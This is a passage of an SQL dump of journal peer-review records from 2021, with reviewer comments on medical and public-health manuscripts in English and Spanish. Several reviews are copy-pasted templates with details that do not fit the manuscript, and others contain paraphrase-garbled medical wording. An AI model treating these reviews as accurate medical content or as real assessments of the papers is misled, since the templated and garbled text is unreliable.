descripción de un evento centinela; un factor de riesgo epidemiológico; una advertencia para alertar en situaciones similares; una sugerencia de hipótesis explicativa; etc. \r\n-Referencias:\r\nLas referencias están escritas en diferentes estilos. Aconsejo que se revisen y se escriban utilizando el estilo de Vancouver.\r\n\r\n\r\nInflammatory Myofibroblastic Tumor of the Liver: A Case Report\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or \"rare\" case. I think the authors should mention something more about how this case can help to understand a more important topic, or to remember certain messages, or to motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; an epidemiological risk factor; a warning to alert in similar situations; a suggestion of explanatory hypothesis; etc.\r\n-References:\r\nThe references are written in different styles. I advise that they be revised and written using the Vancouver style. ','2021-07-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4210,15663,9663,NULL,'2','D','N','N','N','Major English editing is needed using a professional English editor or service provider.','Major modification is needed.','2021-07-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4211,15663,9663,NULL,'2','D','N','N','N','Major English editing is needed using a professional English editor or service provider.','Major modification is needed.','2021-07-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4216,11689,8073,NULL,'5','g','y','y','y','Low back pain (LBP) is a public health problem worldwide and is a common cause of health- related disorder among health care workers, especially in the nursing profession \r\nThe main aim of this study is to assess the prevalence of low back pain and associated factors among nurses, working in private hospitals in Ethiopia.\r\nAuthor well described the Low back pain among hospital nurses and addressing work-related and individual factors are essential to decrease the burden of the problem.\r\nOverall well written with limited data.','','2021-07-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4217,11689,8076,NULL,'5','g','y','y','y','Workplace violence is a significant problem affecting many professions, and threats of violence in health sector seem to be increasing in particular. This study was help to fill the gap and provide evidence based information on the prevalence of WPV and associated factors and its consequence in ambulance care providers to design various strategies to decrease the problems.\r\nThe main aim of this study is to assess the prevalence and factors associated with workplace violence among ambulance care providers in Addis Ababa fire and disaster risk management commission.\r\nThis study showed high prevalence of violence and have got that staff had been exposed to physical violence, verbal violence, mobbed/bulled and sexual violence, respectively age, sex, direct physical contact and interaction with the patient were statistically significant variables. \r\nOverall well written with limited data.','','2021-07-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4223,15586,9517,NULL,'4','G','Y','Y','Y','Please expand both abstact snd introduction.\r\nPlease state the tests undertaken in a table.\r\nAll figures need numbers and appropriate titles. \r\n\r\n','Please see the notes above.','2021-07-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4224,19522,9801,NULL,'4','R','N','Y','Y','Dear Author,\r\nKindly define MDD, Chronic MDD, and Chronic MDD with persistent symptoms properly. Though it\'s a Narrative review there is no need to put the tabular presentation like table 1 and table 2 from a single article by Owen et al. \r\n\r\nconsider the minor changes and resend the article.\r\n\r\nThanks & Regards\r\nDr. Sumita Sharma\r\nDept of Community Medicine\r\nIMS & SUM Hospital, Bhubaneswar, Odisha','Glad as a reviewer of this article','2021-07-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4234,16861,8911,NULL,'5','g','n','y','y',' It was pleasure being invited as a reviewer for the research article  on \"Dengue and COVID-19 Co-infection or Cross-reactivity: Retrospective Study from a Tertiary Care Hospital\". We identified 38 cases of co-infection in a tertiary care hospital in Karachi, Pakistan during the year 2020. These cases were dengue NS-1 Ag or IgM/ IgG antibody-positive along with SARS-CoV-2 RT-PCR positives. It is concluded that If it is co-infection, secondary dengue infection is more involved in co-infection with COVID-19 as compared to primary dengue infection and may not be causing severe variations in the liver function tests. It is helpful for further researches. So i think this Research article can be accepted for publication in your esteemed journal.','  ','2021-08-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4235,16861,7494,NULL,'5','g','n','y','y','    ','','2021-08-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4236,10251,8571,NULL,'5','g','y','y','y','It is with great pleasure that I review the manuscript entitled “Basic and Clinical Research for Bosom Cancer using Biomarkers”. It is indeed an interesting outlook on the presentation of the Proteomics strategies distinguish the working units of communicated qualities, through biochemical examination of cell proteins, to give a protein unique finger impression.\r\nThe abstract looks good describing about the whole research work in a brief form. The manuscript is clearly written in sequential manner. The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have Comprehensive proteomic analysis of breast cancer cell membranes reveals unique proteins with potential roles in clinical cancer.\r\nIn main description, the medical history was non-contributory. Radiographic and clinical examinations were performed initially, and multiple mutations and bypass mechanisms can contribute to development of acquired resistance to MET inhibitors.\r\nI liked the concept of using Breast cancer biomarkers: proteomic discovery and translation to clinically relevant assays.\r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n','','2021-08-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4237,17211,9179,NULL,'5','g','y','y','y','It is with great pleasure that I review the manuscript entitled “A Case Report- Management of a Patient with Severe Trismus with Bilateral Recurrent Pericoronitis Along With Chronic Oral Submucous Fibrosis- A Premalignant Lesion”. It is indeed an interesting outlook on Combination of Alpha lipoic acid, Beta-carotene, Elemental copper and Selenium, Lycopene 5000 mcg, Zinc sulfate (SM Fibro) and Leutin 6.4 mg + l-glutathione 5 mg + lysine 50 mg (Carovit) were used. \r\nThe abstract looks good describing about the whole research work in a brief form. The manuscript is clearly written in sequential manner. Figures are clear with illustrative legends. The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have minimally invasive preparations with maximal tissue conservation for the favourable long term prognosis in such cases.\r\nIn main description, the medical history was non-contributory. Posterolateral thoracotomy and clinical examinations were performed initially, and proposed clinical classification for oral submucous fibrosis.\r\nI liked the concept of using malignant transformation rate in oral submucous fibrosis over a 17-year period.\r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n','','2021-08-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4240,19372,9538,NULL,'5','r','y','y','y','The manuscript entitled \" REVIEW OF THE EFFECT OF CANNABIDIOL ON THE VASCULAR SYSTEM” was well constructed and deals with Stroke. It explains the vascular system of the human body which is essential feature of anatomy of human body. The main component of this is to reveal The effects of cannabinoids are mediated by G-protein coupled cannabinoid receptors (CB1) and 2 (CB2). CB1 is mainly present in the vascular and central nervous system whilst CB2 receptors are found within the immune tissues that are involved in immunomodulation. There is emerging evidence to suggest that the endocannabinoid system plays an important role in regulating the cardiovascular system. This review focuses on the therapeutic potential of cannabidiol (CBD) on the cardiovascular system. I recommend your manuscript for publication.       \r\n','The manuscript entitled \" REVIEW OF THE EFFECT OF CANNABIDIOL ON THE VASCULAR SYSTEM” was well constructed and deals with Stroke. It explains the vascular system of the human body which is essential feature of anatomy of human body. The main component of this is to reveal The effects of cannabinoids are mediated by G-protein coupled cannabinoid receptors (CB1) and 2 (CB2). CB1 is mainly present in the vascular and central nervous system whilst CB2 receptors are found within the immune tissues that are involved in immunomodulation. There is emerging evidence to suggest that the endocannabinoid system plays an important role in regulating the cardiovascular system. This review focuses on the therapeutic potential of cannabidiol (CBD) on the cardiovascular system. I recommend your manuscript for publication.       \r\n','2021-08-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4241,16023,9775,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"Understanding the role of social media to develop social influence and trigger social learning  for the development of healthy lifestyle behaviour\", please find my comments.\r\n\r\nI do agree that,. This study intends to contribute by upgrading the knowledge on how advance social platforms can act as an effective educational medium for health professionals to engage with a community about healthy nutrition and lifestyle.\r\n3. The text is well arranged \r\n4. There are no grammatical errors in this article\r\n5. Pictorial representation added more value to this article \r\n6. The reference sited are revelent with the content and accurate\r\n7. It can be accepted for publication without any changes, this study will definitely support the further studies','The manuscript is good and accepted the article','2021-08-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4242,17204,9179,NULL,'5','g','y','y','y','Dear Author,\r\nIt is with great pleasure that I review the manuscript entitled “A Case Report- Management of a Patient with Severe Trismus with Bilateral Recurrent Pericoronitis Along With Chronic Oral Submucous Fibrosis- A Premalignant Lesion”. It is indeed an interesting outlook on Combination of Alpha lipoic acid, Beta-carotene, Elemental copper and Selenium, Lycopene 5000 mcg, Zinc sulfate (SM Fibro) and Leutin 6.4 mg + l-glutathione 5 mg + lysine 50 mg (Carovit) were used. \r\nThe abstract looks good describing about the whole research work in a brief form. The manuscript is clearly written in sequential manner. Figures are clear with illustrative legends. The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have minimally invasive preparations with maximal tissue conservation for the favourable long term prognosis in such cases.\r\nIn main description, the medical history was non-contributory. Posterolateral thoracotomy and clinical examinations were performed initially, and proposed clinical classification for oral submucous fibrosis.\r\nI liked the concept of using malignant transformation rate in oral submucous fibrosis over a 17-year period.\r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n','','2021-08-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4248,9532,9811,NULL,'4','G','Y','M','Y','1.	“We studied” , do not use ‘we’ in scientific studies.\r\n2.	“Our study” do not use ‘our’ in scientific studies.\r\n3.	Material and method suggest Materials and methods\r\n\r\n\r\n','1.	“We studied” , do not use ‘we’ in scientific studies.\r\n2.	“Our study” do not use ‘our’ in scientific studies.\r\n3.	Material and method suggest Materials and methods\r\n\r\n\r\n','2021-08-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4261,11689,9611,NULL,'5','g','y','y','y','The purpose of this study was to assess the level of professionalism among the clinical radiographers working in public and private hospitals in Anambra State and to identify factors that may influence the professional behavior of clinical radiographers.\r\nOverall well written using descriptive statistics.','','2021-08-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4278,11689,9543,NULL,'5','g','y','y','y','Severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) has spread globally over the past year, infecting an immunologically naive population and causing significant morbidity and mortality. Immunity to SARS-CoV-2 induced either through natural infection or vaccination has been shown to afford a degree of protection against reinfection and/or reduce the risk of clinically significant outcomes\r\nThis review article aims to improve the readers’ awareness about the COVID-19 vaccine and benefits of vaccinations. This article reviewed existing evidence on the immune response against SARS coronaviruses in order to understand the possible outcome of a vaccine for COVID-19. Further, explored the study on age-dependent immune responses against SARS-CoV-2 after vaccination. Finally, present and future progress requirement towards the development of safe and effective COVID-19 vaccines are discussed.\r\nOverall well written with limited data.','','2021-08-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4279,11689,9543,NULL,'5','g','y','y','y','This review article aims to improve the readers’ awareness about the COVID-19 vaccine and benefits of vaccinations. This article reviewed existing evidence on the immune response against SARS coronaviruses in order to understand the possible outcome of a vaccine for COVID-19. Further, explored the study on age-dependent immune responses against SARS-CoV-2 after vaccination. Finally, present and future progress requirement towards the development of safe and effective COVID-19 vaccines are discussed.','','2021-08-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4283,11689,9627,NULL,'5','g','y','y','y','The aim of this study is to determining the level of pregnant women’s satisfaction in the ANC service delivered in Goba hospital. The findings of the study is the prevalence of antenatal care service satisfaction among mothers was low compared with other studies conducted in Ethiopia\r\nAuthor suggests that the government, health professionals and other concerned bodies should focus on giving quality antenatal care service.\r\nOverall well written with statistics data.','','2021-08-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4310,10967,9980,NULL,'5','G','Y','Y','Y','The paper is logically written and recommended for acceptance','Accept','2021-08-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4313,18830,9998,NULL,'5','g','y','y','y','This article gives great data and sufficient information. \r\n\r\nThe title of the article Iris Recognition for Smokers and Non-smokers is additionally clear cut with the substance \r\n\r\nCreator had very much portrayed about the Smoking is perhaps the most widely recognized propensities all throughout the planet and the prompt impact of smoking on the exhibition of voice acknowledgment frameworks has been studied.And the perception of the ROC bend is likewise clarified wih the pictorial realistic. \r\n\r\nCreator had noticed the section the iris and figure the examination score between tests, the University of Salzburg Iris Toolkit (USIT) was effectively utilized \r\n\r\nCertainly I will acknowledge this article to distribute.','','2021-08-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4314,18830,9663,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nThe title of the article medicinal Usage and Side Effects of Penicillin \r\nAuthor had well described about the Penicillin is a collection of antibiotics at the beginning acquired from Penicillium moulds, mainly P. Chrysogenum and P. Rubens. Most penicillins in scientific use are chemically synthesized from naturally-produced penicillins\r\nAuthor had observed the pain and infection on the injection webweb page also are not unusualplace for parenterally administered benzathine benzylpenicillin, benzylpenicillin, and, to a lesser extent, procaine benzylpenicillin. The situation is called livedoid dermatitis or Nicolau syndrome.\r\nDefinitely i will accept this article to publish.','','2021-08-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4315,15663,9998,NULL,'4','R','N','Y','N','1.	NIST not explained on first use.\r\n2.	Page 1: what is meant by [1] repeated in abstract, and (2), (3) in the section of Introduction and Related work.\r\n3.	References are cited below each page. Please make a separate final section for all references of the manuscript.\r\n4.	The pages are not numbered. Please insert page numbers.','the manuscript needs minor changes.','2021-08-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4332,5743,9210,NULL,'4','G','Y','Y','Y','The manuscript presents the original findings of a study that evaluates the hemodynamic changes in subgroups of patients following Transcatheter Aortic Valve Implantation (TAVI). The study findings provide important insight into the TAVI procedure.\r\n\r\nThe following minor points should be noted by the authors:\r\n\r\n[1] It was noticed that the “American Style” of English was followed within the text. It should be checked whether this is the style followed by the journal or the “British Style”. The relevant style of English should be followed throughout the manuscript.\r\n\r\n[2] The statistical tests are satisfactory, but the veracity of the calculations should be meticulously checked.\r\n\r\n[3] The “Discussion” should be more detailed. More similar studies should be incorporated for comparison purposes. This will help to put the present study into perspective with other studies in the same domain of knowledge. Moreover, it will enable us to draw more meaningful conclusions.\r\n\r\n[4] The “References” are too few. The number of references should be increased by citing more of them in the “Discussion” section.\r\n\r\nAll other aspects appear to be satisfactory.\r\n','This manuscript is an important one as it investigates the differences and changes in hemodynamics in patients with low-gradient (LG-) and non-low-gradient (NLG-) aortic valve stenosis (AS). Importantly, the study found specific changes using the non-invasive NICaS® electrical bio-impedance monitoring system.\r\n\r\nThe study is supported by ample scientifically valid data that buttress the arguments put forward by the authors.\r\n\r\nThere are some minor inconsistencies, which have been mentioned in the comments to the authors. These comments and suggestions can be consulted to make the necessary corrections. \r\n\r\nThe study findings will be an important addition to the expanding knowledge base in the area of Transcatheter Aortic Valve Implantation (TAVI). \r\n\r\nI, therefore, strongly recommend that the paper should be accepted for publication with minor modifications.','2021-08-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4339,15340,8660,NULL,'5','g','y','y','y','Author presented an interesting study. Worth publishing in this journal. This subject could be of great interest to the research community and could be largely used in the future. The text adds useful information. The results were discussed from multiple angles and placed into context without being over-interpreted.','Author presented an interesting study. Worth publishing in this journal. This subject could be of great interest to the research community and could be largely used in the future. The text adds useful information. The results were discussed from multiple angles and placed into context without being over-interpreted.','2021-08-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4346,17211,9555,NULL,'5','G','y','y','y','It is with great pleasure that I review the manuscript entitled “Outcomes of Advanced Malignant Melanoma in a South African Public Health Sector Cohort: The Urgent Need for Effective Therapy”. It is indeed an interesting outlook on the demographic, clinical, radiological and treatment response data was collected and entered on an excel spreadsheet prior to being entered into IBM SPSS version 26 for statistical analysis.\r\nThe abstract looks good describing about the whole research work in a brief form. The manuscript is clearly written in sequential manner. The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have epidemiology of cutaneous melanoma in the white and black African population groups in South Africa.\r\nIn main description, the medical history was non-contributory. Radiographic and clinical examinations were performed initially, and Adjuvant dabrafenib plus trametinib in stage III BRAF-mutated melanoma.\r\nI liked the concept of using five-year survival with combined nivolumab and ipilimumab in advanced melanoma.\r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n\r\n\r\n','','2021-08-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4347,11689,9910,NULL,'6','g','y','y','y','A central line bloodstream infection (CLABSI) occurs when bacteria or other germs enter the patient’s central line and then enter into their bloodstream. These infections are serious but can often be successfully treated. Health care workers, patients and families can play an active role in CLABSI prevention. Most of these infections can be prevented with the correct insertion, cleaning, and care practice of a central line.\r\nThe purpose of this paper is to assess the effect of quality improvement projects on reducing bloodstream infections associated with central venous catheters. In this study to identify novel infection prevention targets, author was examined modifiable and novel risk factors for CLABSIs. \r\nThis study demonstrated that quality improvement projects decrease the incidence of CLABSI, improve patients’ mortality, and reduce hospitalization days. This study was mainly based on Whittemore and Knafl\'s framework.\r\nOverall well written with two themes those are Central line bundle care and Education on CLBSAI insertion and maintenance.','','2021-08-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4348,11689,9976,NULL,'6','g','y','y','y','The purpose of this study was to discuss the CMC and the different requirements of drug development in the different pre-clinical and clinical stages. \r\nThe chemical manufacturing and control (CMC) play a critical role in the new drug development and usually accompanies with the entire process from pre-clinical studies to clinical studies, even to commercially marketed drugs. CMC ensures that pharmaceutical and biopharmaceutical drug products are consistently effective, safe and high quality for consumers. CMC is an important and necessary part of drug declaration materials and information. \r\nCMC roles are present in all stages of the drug lifecycle from development and manufacturing to licensing and marketing. At each stage, CMC professionals provide knowledge, understanding and interpretation of regulations so that the drug has the best chance of being approved. \r\nOverall well written, I strongly recommended to publish this paper.','','2021-08-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4351,18830,10101,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nAuthor had well described about the Outline of Nerve Bladder and its Infection that is  Gallbladder malignancy happens when typical cells in the gallbladder change and develop wildly, framing a mass called a tumor. A tumor can be generous (non-harmful, for example, a polyp which can possibly become threatening (dangerous) after some time. \r\nAuthor had observed the This sweep surveys if the gallbladder is working as it should with a controlled measure of chemical. With respect to a suspected choledocholithiasis, an endoscopic retrograde cholangiopancreatography (ERCP) is utilized in both the conclusion and treatment as it can eliminate the stones that are obstructing the bile pipes causing choledocholithiasis.\r\nDefinitely i will accept this article to publish.','','2021-08-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4352,18838,10100,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nAuthor had well described about the To Defeat of Malignant Growth  that is  Malignant growth can be treated by a medical procedure, chemotherapy, radiation treatment, hormonal treatment, designated treatment (counting immunotherapy like monoclonal neutralizer treatment) and manufactured lethality, most generally as a progression of isolated therapies (for example chemotherapy before medical procedure). \r\nAuthor had observed the Since \"malignant growth\" alludes to a class of illnesses, it is impossible that there will at any point be a solitary \"solution for disease\" any more than there will be a solitary treatment for every irresistible infection. Angiogenesis inhibitors were once thought to have potential as a \"silver slug\" therapy pertinent to many sorts of disease, yet this has not been the situation practically speaking.\r\nDefinitely i will accept this article to publish.','','2021-08-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4371,11446,8914,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"Using Social Interactive Technologies for Maximizing the Public Health Benefits: Qualitative Insights\", please find my comments.\r\n\r\nI do agree that,Despite the importance of digital technologies for health marketing, the level of adoption and execution is relatively slow, especially in Arab countries.\r\n3. The text is well arranged \r\n4. There are no grammatical errors in this article\r\n5. Pictorial representation added more value to this article \r\n6. The reference sited are revelent with the content and accurate\r\n7. It can be accepted for publication without any changes, this study will definitely support the further studies.\r\n ','The Manuscript is good and accepted for publication','2021-08-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4372,11446,10119,NULL,'5','G','N','Y','Y','I reviewed the article entitled \" Importance of Child Health care\", please find my comments.\r\n\r\nI do agree that,Child health care is very important. Proper care should be taken to the newly born because they are too weak and they are very sensitive to the surrounding environment.\r\n3. The text is well arranged \r\n4. There are no grammatical errors in this article\r\n5. Pictorial representation added more value to this article \r\n6.  It can be accepted for publication without any changes, this study will definitely support the further studies.','The Article is good and Accepted for Publication','2021-08-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4383,11520,10001,NULL,'6','g','y','y','y','Well Written manuscript. I strongly recommended to publish this study.','','2021-08-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4384,11520,10001,NULL,'6','g','y','y','y','Well Written manuscript. I strongly recommended to publish this study.','','2021-08-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4385,11520,10001,NULL,'6','g','y','y','y','Well Written manuscript. I strongly recommended to publish this study.','','2021-08-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4386,11520,9960,NULL,'6','g','y','y','y','This is an explanatory research which is being carried out using mixed research approach, is intending to the factors associated with accessibility and affordability of urban health services, The aim of this study is to reduce inequalities in getting health services and to ensure health care support for under privileged people so that available access to health care can be increased and sustained\r\nThis study suggested that treatment with credit and waived payment for the poorest could be affordable alternative private healthcare services.\r\nOverall well written with descriptive statistics is used for analyzing field data for understanding accessibility of health services.','','2021-08-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4389,18838,10192,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nAuthor had well described about the Biomedical Science is the engine room of modern medicine. All samples taken by a Biomedical Scientist, without biomedical scientists, doctors wouldn\'t be ready to diagnose diseases properly or treat patients effectively.\r\nAuthor had observed the Humans have been elucidating biological methods applicable to both aquatic and terrestrial organisms with the help of different molecular and biotechnological techniques.\r\nDefinitely i will accept this article to publish.','','2021-08-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4390,11520,10017,NULL,'6','g','y','y','y','Pityriasis rosea is a common dermatosis named by Gibert in 1860. It is an acute self limiting papulosquamous disease, probably infective in origin affecting healthy adolescents and young adults. It is characterized by distinctive skin eruptions and minimal constitutional symptoms.  This was based on the Nar anjo Adverse Drug Probability Scale defined as probably related to the drug in all cases.\r\nIn this case study author well written the relation of drug and development of pityriasis rosea. ','','2021-08-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4391,18592,9519,NULL,'4','g','y','y','y','In my opinion this study is is not elaborated. So, authors should elaborate and follow the style of manuscript writing. \r\nThey should write abstract part in detail manner and is very essential part and should be attractive in its manner. \r\nIt does not look like the key words. So, they should also write keyword part once again. \r\nList of abbreviation should not be in table. So, they should correct it.\r\nThe background is very weak, so they should re write the part by referring other studies.\r\n\r\n \r\n','','2021-08-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4416,9002,10028,NULL,'5','g','y','y','y','Author introduced an inquisitive report. Worth publishing in this journal. This subject could be of incredible interest to the research community and could be to a great extent utilized later on. The content adds valuable data. ','Author introduced an inquisitive report. Worth publishing in this journal. This subject could be of incredible interest to the research community and could be to a great extent utilized later on. The content adds valuable data.','2021-08-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4419,11689,9813,NULL,'6','g','y','y','y','The purpose of this cross sectional descriptive study is to determine the nutritional & health status of rural school children age 6–19 years of Punjab and present possible methods to improve the nutritional and health status during this life stage for a long-term health impact. This study is well written clinical analysis and anthropometric measurements were used to determine the nutritional & health condition of the children.\r\nI strongly recommended to be published','','2021-08-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4425,12022,9999,NULL,'3','c','y','m','y','Reporte de casos sobre el uso de ácido tranexámico para reducir el sangrado perioperatorio en liposucción y abdominoplastia \r\nHe leído este manuscrito y ciertamente felicito a los autores por sus esfuerzos.\r\nCreo que podría ser aceptable si se modifican y aclaran algunos aspectos.\r\n-Diseño del estudio:\r\nParece ser un estudio retrospectivo.\r\nEl autor debe comentar las desventajas de este diseño (estudio retrospectivo), que a menudo está sujeto a sesgos (errores que afectan las observaciones de una investigación); Por ejemplo, en la recopilación de datos.\r\n-Muestra:\r\nUna muestra oportunista, no probabilística, puede ser aceptable si se tienen en cuenta las limitaciones de los datos. Cuando se utiliza el muestreo por conveniencia, es necesario describir cómo la muestra de la investigación actual sería diferente de la muestra ideal, seleccionada al azar (de toda la población). También es necesario describir a las personas que podrían quedar fuera durante el proceso de selección o las personas que están sobrerrepresentadas en la muestra.\r\n\r\nCases report on the use of tranexamic acid to reduce perioperative bleeding in liposuction and abdominoplasty \r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if some aspects are changed and clarified.\r\n-Study design:\r\nIt appears to be a retrospective study.\r\nThe author should comment on the disadvantages of this design (retrospective study), which is often subject to bias (errors affecting the observations of an investigation); For example, in data collection.\r\n-Sample:\r\nAn opportunistic, non-probabilistic sample may be acceptable if the limitations of the data are taken into account. When using convenience sampling, it is necessary to describe how the current research sample would differ from the ideal, randomly selected sample (from the entire population). It is also necessary to describe the people who might be left out during the selection process or the people who are overrepresented in the sample.','Reporte de casos sobre el uso de ácido tranexámico para reducir el sangrado perioperatorio en liposucción y abdominoplastia \r\nHe leído este manuscrito y ciertamente felicito a los autores por sus esfuerzos.\r\nCreo que podría ser aceptable si se modifican y aclaran algunos aspectos.\r\n-Diseño del estudio:\r\nParece ser un estudio retrospectivo.\r\nEl autor debe comentar las desventajas de este diseño (estudio retrospectivo), que a menudo está sujeto a sesgos (errores que afectan las observaciones de una investigación); Por ejemplo, en la recopilación de datos.\r\n-Muestra:\r\nUna muestra oportunista, no probabilística, puede ser aceptable si se tienen en cuenta las limitaciones de los datos. Cuando se utiliza el muestreo por conveniencia, es necesario describir cómo la muestra de la investigación actual sería diferente de la muestra ideal, seleccionada al azar (de toda la población). También es necesario describir a las personas que podrían quedar fuera durante el proceso de selección o las personas que están sobrerrepresentadas en la muestra.\r\n\r\nCases report on the use of tranexamic acid to reduce perioperative bleeding in liposuction and abdominoplasty \r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if some aspects are changed and clarified.\r\n-Study design:\r\nIt appears to be a retrospective study.\r\nThe author should comment on the disadvantages of this design (retrospective study), which is often subject to bias (errors affecting the observations of an investigation); For example, in data collection.\r\n-Sample:\r\nAn opportunistic, non-probabilistic sample may be acceptable if the limitations of the data are taken into account. When using convenience sampling, it is necessary to describe how the current research sample would differ from the ideal, randomly selected sample (from the entire population). It is also necessary to describe the people who might be left out during the selection process or the people who are overrepresented in the sample.','2021-09-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4430,11520,10142,NULL,'5','g','y','y','y','Dental caries or cavities, more commonly known as tooth decay, are caused by a breakdown of the tooth enamel. This breakdown is the result of bacteria on teeth that breakdown foods and produce acid that destroys tooth enamel and results in tooth decay.\r\nThe study was designed to determine the prevalence of dental caries and oral health in addition to assessing the oral hygiene status and restorative care. This study showed that children with autism exhibited higher caries prevalence, poor oral hygiene and high gingival index.\r\nOverall well 